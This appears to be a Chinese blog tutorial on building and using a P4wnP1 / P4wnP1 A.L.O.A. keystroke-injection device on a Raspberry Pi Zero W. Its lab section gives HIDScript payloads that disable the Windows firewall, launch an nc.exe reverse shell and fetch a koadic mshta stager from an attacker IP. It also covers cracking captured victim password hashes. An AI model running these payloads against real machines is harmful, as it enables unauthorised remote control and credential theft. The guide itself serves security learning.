P4wnP1全家桶安装及实战
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
今天想用自己USB
入侵设备的时候,发现WIFI
密码给忘了
重装的时候发现自己没有写详细过程!呸!!最后只能删了重写写过。
写在前头血的教训
-
树莓派没有那么容易坏不用买第二个!!
-
网上的
wpa_supplicant.conf
开启WIFI
我试了N次都没成功过 -
USB
转接头一定要买不需要焊接(别买Zero Quick Plug Bad USB
-
树莓派
Zero W
自带WIFI
所以别再买WIFI
模块了 -
装完
P4wnP1
切记重启不要直接拔掉会导致开不了机sudo shutdown -r now
成品图
硬件需求
- 树莓派
Zero W
USB
接头TF
卡一张
通过网线连接树莓派
-
首先在
config.txt
最末行处换行添加如下代码,打开usb
网卡模式dtoverlay=dwc2
-
其次在
cmdline.txt
文件中找到rootwait
字段,并在其后面空格添加如下信息,在打开系统时开启usb
网卡模式。modules-load=dwc2,g_ether
-
然后把
TF
卡插入树莓派连接电脑,在串口中会出现串口COM
,并且会弹出RNDIS
未连接,接着右键点击我的电脑->管理->设备管理器中找到在COM
(端口通信)右击更新驱动后使用如下命令即可连接ssh pi@raspberrypi.local
树莓派换源
这里有两个源需要换
-
修改软件更新源,位置
/etc/apt/sources.list
#换为阿里云的源
deb http://mirrors.aliyun.com/raspbian/raspbian/ jessie main non-free contrib rpi -
修改系统更新源,位置
/etc/apt/sources.list.d/raspi.list
#换位edu的源,不然安装P4wnP1的时候更新系统需要等个把小时
deb http://mirrors.ustc.edu.cn/archive.raspberrypi.org/debian/ stretch main ui
设置
wifi
-
在命令行中输入
sudo raspi-config
-
然后选择
Network Options
-
选择
WI-FI
-
选择自己国家语言编码
-
最后输入
ssid
和passwd
即可连接成功,注:ssid
为你wifi
的名字,passwd
为你的wifi
密码
更换
pip
源
修改文件位置/etc/pip.conf
[global] |
安装
P4wnP1
-
从
Github
下载项目#下载
git clone https://github.com/mame82/P4wnP1.git
cd P4wnP1
#安装
./install.sh -
安装成功后连接
WIFI
名为P4wnP1
-
初始密码是
MaMe82-P4wnP1
-
再用
putty
连接172.24.0.1
端口22
-
打开配置文件:
sudo vim P4wnP1/setup.cfg
-
配置文件的各个功能的作用详情点我
-
如果使用了
Payload
后你修改的WIFI
还是没变可以去P4wnP1/payloads
里面修改文件(因为优先加载payload
里面的设置 -
原始设置+原始
Payload
-
修改过设置+修改过
Payload
-
连接靶机
输入
FireStage1
当出现client connect
字样时说明连接成功 -
破解密码
-
设置完
payloads
后插上电脑,当受害者输入密码的时候,树莓派会自己利用John the Ripper
模块进行破解 -
密码文件在这个位置
/P4wnP1/collected
-
如果是强密码可以使用
hashcat
-
可以参考使用文档
-
-
shell
命令#结束给定的远程进程
KillProc
#结束给定远程客户端
KillClient
#创建进程,打开计算器的命令为: CreateProc calc
CreateProc
#发送键盘脚本
SendDuckyScript
#发送鼠标脚本
SendMouseScript
#发送“ABC”键盘输入
sendkeys ABC
#下载文件到树莓派
download
#上传文件到主机
upload
#以靶机的身份访问控制台
shell
详细命令可以参考官方文档
安装
P4wnP1 A.L.O.A.
由于P4wnP1
的可用性太低了,再加上作者已经放弃了那个项目,所以把原来的改成了P4wnP1 A.L.O.A.
本想网上找点资料参考下怎么使用的结果找了半天都没找到使用的文章,官方的文档又是英文的还没有安装教程(原谅我英语菜的抠脚),就只能自己慢慢摸索,刚开始是从Github
下载项目到树莓派上然后使用./install
来安装,结果疯狂报错,下载了Go
语言依赖还是疯狂报错然后我就咕咕了4天(其实是自闭了4天)直到某天逛YouTube
的时候看到了某个老哥的安装教程,才有了这部分文章
其实不需要从Github
上下载源码安装,作者已经为你打包好了镜像,只需要刷入TF
卡就可以了
#下载img包 |
接下来只需要连上电脑,打开WiFi
就会出现这个界面
接着连接该WiFi
密码为MaMe82-P4wnP1
访问http://172.24.0.1:8000/
就能进入web
端了,推荐电脑连接网线然后用WiFi
连接树莓派的WiFi
这样既可以上网又可以访问web
端
通过172.24.0.1
的22
端口进行ssh
连接,默认用户名root
密码toor
web
使用体验
-
USB settings
可以对供应商ID、制作者ID、生产商名称、序列号、产品名字进行自定义设置
并且可以对键盘、鼠标、存储设备(模拟
USB
闪存驱动器或CD-ROM
)、序列化接口、RBDIS
(Windows
上的USB
以太网)、CDC ECM
(针对UNIX Linux OSX
的USB
网络)进行选择 -
WiFi settings
可以对
WIFI
名称和密码、信道、加密方式、是否隐藏SSID
(这个一般必开)、所在国家、工作模式(AP
或客户端)修改好点击
store
来把配置保存在树莓派中然后点击DEPLOY STORED
即可切记密码长度要大于8位不然会导致设置失败
-
Bluetooth Settings
蓝牙模块感觉没有
WiFi
来的高效,这块就暂时不多逼逼了,我直接给它关了 -
Network Settings
对网络和
DHCP
进行的一些设置 -
Trigger Action
触发机制,通过某项事件或者操作触发一项或者多项操作
触发条件有:开始服务、树莓派连接到目标、树莓派从目标断开、WIFI
连接成功、加入现有的WIFI
、DHCP
、GPIO
输入、从SSH登入树莓派
触发后的操作:写入日志、运行bash
脚本、启动HIDscript
、加载和部署模板、在GPIO
上设置输出还可以设置要加载的模板和模板类型
如果勾选了One shot
的话那就只会执行一次
-
Event Log
事件日志
-
Generic Settings
模板编辑,存放之前编辑的设置,每次开机会套用这里的模板
如果你想开机加载的
WiFi
为你设置的WiFi
,首先要在WiFi settings
模块中上传你的WiFi
模板,然后按下图设置后点REBOOT
即可,如果你还想做其他开机启动操作都是类似的 -
HIDScrip
这个是重点,可以执行高效的攻击命令和来的
P4wnP1
相比可做的事情多太多了,据官方文档所写的是基于JavaScript
的layout('us'); // 键盘布局
typingSpeed(100,150) // 敲击按键的时候等待的间隔100毫秒加上0-150毫秒之间的随机值
waitLEDRepeat(NUM); //类似于等待用户按下某个键然后在继续运行,但是在OSX上没用
press("GUI r");//类似按下某个键位然后再抬起来,具体可以看官方文档,和上面的机制相识
delay(500);//暂停时间
type("notepad\n")//输入字符串,模拟键盘按键
moveStepped(x,y); //鼠标移动,相当于模拟正常运动
moveTo(x,y); //鼠标移动到设置的坐标点,x和y分别是横纵坐标,这个相当于跳刀下面给出一个
demo
//详细操作参考官方文档
//https://github.com/mame82/P4wnP1_aloa
layout('us');
typingSpeed(500,9102);
waitLEDRepeat(NUM);
press("GUI R");
type("ping www.ascotbe.com");
delay(100);
press("SHIFT A");
ssh
端
通过SSH
连进去首先修改root
密码
首先进去可以对源以及联网进行修改具体方法和上面最开始的换源设置WiFi
方式类似
P4wnP1
的web
端的储存文件的位置都在/P4wnP1/dist
目录下
ssh
也可以做web
的工作,官方根据官方给出的文档输入P4wnP1_cli -h
可以查看帮助文档
root@kali:~# P4wnP1_cli -h |
试用体验
目标机器使用的window 10
攻击机器使用的是Kali
首先把制作好的USB
插入电脑中,然后执行命令测试是否正常工作。注意:这边的键盘布局需要和目标机器上的键盘布局一样不然会输出不是你想输出的结果!!!!!
layout('us');#目标机器上也要设置为美式键盘 |
-
dome1
目标机器有nc
文件-
攻击机器开启
nc
-
然后在
web
端执行如下demo
layout('us');
typingSpeed(0,0);
press("GUI R");
delay(500);
type("powershell start powershell -A 'C:\\Users\\Administrator\\Desktop\\nc.exe -e cmd.exe -d 192.168.183.138 1024'\n");
press("enter");
-
-
demo2
利用koadic
脚本实现反弹-
在攻击机器上搭个类似
nc
的服务,目标机器只需要访问mshta http://192.168.183.138:9999/h861m
set LHOST 192.168.183.138
set LPORT 9999
-
树莓派
web
端运行layout('us');
typingSpeed(0,0);
press("GUI R");
delay(500);
type("powershell start powershell -A 'Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False'\n");#关闭windows防火墙
delay(1000);
press("GUI R");
type("powershell start powershell -A 'mshta http://192.168.183.138:9999/h861m'\n");
press("enter"); -
有回显后执行
zombies 0
来查看目标机器的详细信息。注意:后面的0
代表的是你控制目标机器的ID
如果要查看本机直接输入zombies
即可 -
输入
cmdshell 0
来获取目标机器的shell
-
在手机上测试
- 苹果:
Termius
- 安卓:
JuiceSSH
参考文章
https://www.jianshu.com/p/4568f4f0a106 |
2019.12.20重构文章
2019.12.28文章添加中添加P4wnP1 A.L.O.A.